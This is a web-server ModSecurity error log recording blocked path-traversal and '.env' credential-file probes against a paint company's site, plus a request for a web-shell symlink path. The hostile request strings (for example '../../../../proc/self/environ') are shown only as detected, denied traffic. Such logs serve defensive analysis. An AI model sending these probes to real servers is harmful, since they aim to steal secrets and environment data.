[Sun Oct 25 22:08:48.439134 2026] [security2:error] [pid 2943050:tid 2943050] [client 34.81.7.133:40228] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at62MICf_dn79BGji-V_DAAAAAg"]
[Sun Oct 25 22:08:48.464952 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MPv3Bqe9ulig-nTwrwAAAAk"]
[Sun Oct 25 22:08:48.465036 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MPv3Bqe9ulig-nTwrwAAAAk"]
[Sun Oct 25 22:08:48.465079 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MPv3Bqe9ulig-nTwrwAAAAk"]
[Sun Oct 25 22:08:48.465609 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MPv3Bqe9ulig-nTwrwAAAAk"]
[Sun Oct 25 22:08:48.465850 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MPv3Bqe9ulig-nTwrwAAAAk"]
[Sun Oct 25 22:08:48.494459 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40372] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at62MEDZB1z45uajChfUQwAAAAs"]
[Sun Oct 25 22:08:48.494549 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40372] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at62MEDZB1z45uajChfUQwAAAAs"]
[Sun Oct 25 22:08:48.494581 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40372] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at62MEDZB1z45uajChfUQwAAAAs"]
[Sun Oct 25 22:08:48.494650 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40372] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: ../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at62MEDZB1z45uajChfUQwAAAAs"]
[Sun Oct 25 22:08:48.495043 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at62MEDZB1z45uajChfUQwAAAAs"]
[Sun Oct 25 22:08:48.495279 2026] [security2:error] [pid 2943052:tid 2943052] [client 34.81.7.133:40372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at62MEDZB1z45uajChfUQwAAAAs"]
[Sun Oct 25 22:08:48.503829 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40376] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MDmmX3asvCDITlDxfgAAAAA"]
[Sun Oct 25 22:08:48.503910 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40376] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MDmmX3asvCDITlDxfgAAAAA"]
[Sun Oct 25 22:08:48.503962 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40376] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MDmmX3asvCDITlDxfgAAAAA"]
[Sun Oct 25 22:08:48.504063 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40376] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: ../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MDmmX3asvCDITlDxfgAAAAA"]
[Sun Oct 25 22:08:48.504657 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40376] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MDmmX3asvCDITlDxfgAAAAA"]
[Sun Oct 25 22:08:48.504974 2026] [security2:error] [pid 2927273:tid 2927273] [client 34.81.7.133:40376] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at62MDmmX3asvCDITlDxfgAAAAA"]
[Sun Oct 25 22:08:48.697429 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at62MPv3Bqe9ulig-nTwsAAAAAk"]
[Sun Oct 25 22:08:48.697856 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at62MPv3Bqe9ulig-nTwsAAAAAk"]
[Sun Oct 25 22:08:48.698158 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env::$DATA"] [unique_id "at62MPv3Bqe9ulig-nTwsAAAAAk"]
[Sun Oct 25 22:08:48.749438 2026] [ssl:error] [pid 2943078:tid 2943078] (70014)End of file found: [client 98.83.10.183:65459] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:08:48.749655 2026] [security2:error] [pid 2943078:tid 2943078] [client 98.83.10.183:65459] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/bus/memory/devices/memory1/node0/memory13/phys_index"] [unique_id "at62MD23lTe6Xv-mctsN_QAAACs"]
[Sun Oct 25 22:08:48.749684 2026] [security2:error] [pid 2943078:tid 2943078] [client 98.83.10.183:65459] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/bus/memory/devices/memory1/node0/memory13/phys_index"] [unique_id "at62MD23lTe6Xv-mctsN_QAAACs"]
[Sun Oct 25 22:08:48.849615 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62MDbTjnVH12qwK530egAAABw"]
[Sun Oct 25 22:08:48.849888 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62MDbTjnVH12qwK530egAAABw"]
[Sun Oct 25 22:08:48.850245 2026] [security2:error] [pid 2943065:tid 2943065] [client 34.81.7.133:40446] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at62MDbTjnVH12qwK530egAAABw"]
[Sun Oct 25 22:08:48.979762 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at62MPv3Bqe9ulig-nTwsQAAAAk"]
[Sun Oct 25 22:08:48.980033 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at62MPv3Bqe9ulig-nTwsQAAAAk"]
[Sun Oct 25 22:08:48.980285 2026] [security2:error] [pid 2943051:tid 2943051] [client 34.81.7.133:40408] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at62MPv3Bqe9ulig-nTwsQAAAAk"]
[Sun Oct 25 22:08:48.985693 2026] [security2:error] [pid 2943068:tid 2943068] [client 34.81.7.133:40436] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at62MJ7ubR9zMkfykS4UCQAAAB8"]
[Sun Oct 25 22:08:48.985923 2026] [security2:error] [pid 2943068:tid 2943068] [client 34.81.7.133:40436] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at62MJ7ubR9zMkfykS4UCQAAAB8"]
[Sun Oct 25 22:08:48.986185 2026] [security2:error] [pid 2943068:tid 2943068] [client 34.81.7.133:40436] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at62MJ7ubR9zMkfykS4UCQAAAB8"]
[Sun Oct 25 22:08:49.012944 2026] [security2:error] [pid 2943078:tid 2943078] [client 34.81.7.133:40544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at62MT23lTe6Xv-mctsN_gAAACs"]
[Sun Oct 25 22:08:49.013148 2026] [security2:error] [pid 2943078:tid 2943078] [client 34.81.7.133:40544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at62MT23lTe6Xv-mctsN_gAAACs"]
[Sun Oct 25 22:08:49.013456 2026] [security2:error] [pid 2943078:tid 2943078] [client 34.81.7.133:40544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at62MT23lTe6Xv-mctsN_gAAACs"]
[Sun Oct 25 22:08:49.099039 2026] [security2:error] [pid 2943067:tid 2943067] [client 34.81.7.133:40384] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at62Mb1YxWy7Rpvzy4DLvAAAAB4"]
[Sun Oct 25 22:08:49.099336 2026] [security2:error] [pid 2943067:tid 2943067] [client 34.81.7.133:40384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at62Mb1YxWy7Rpvzy4DLvAAAAB4"]
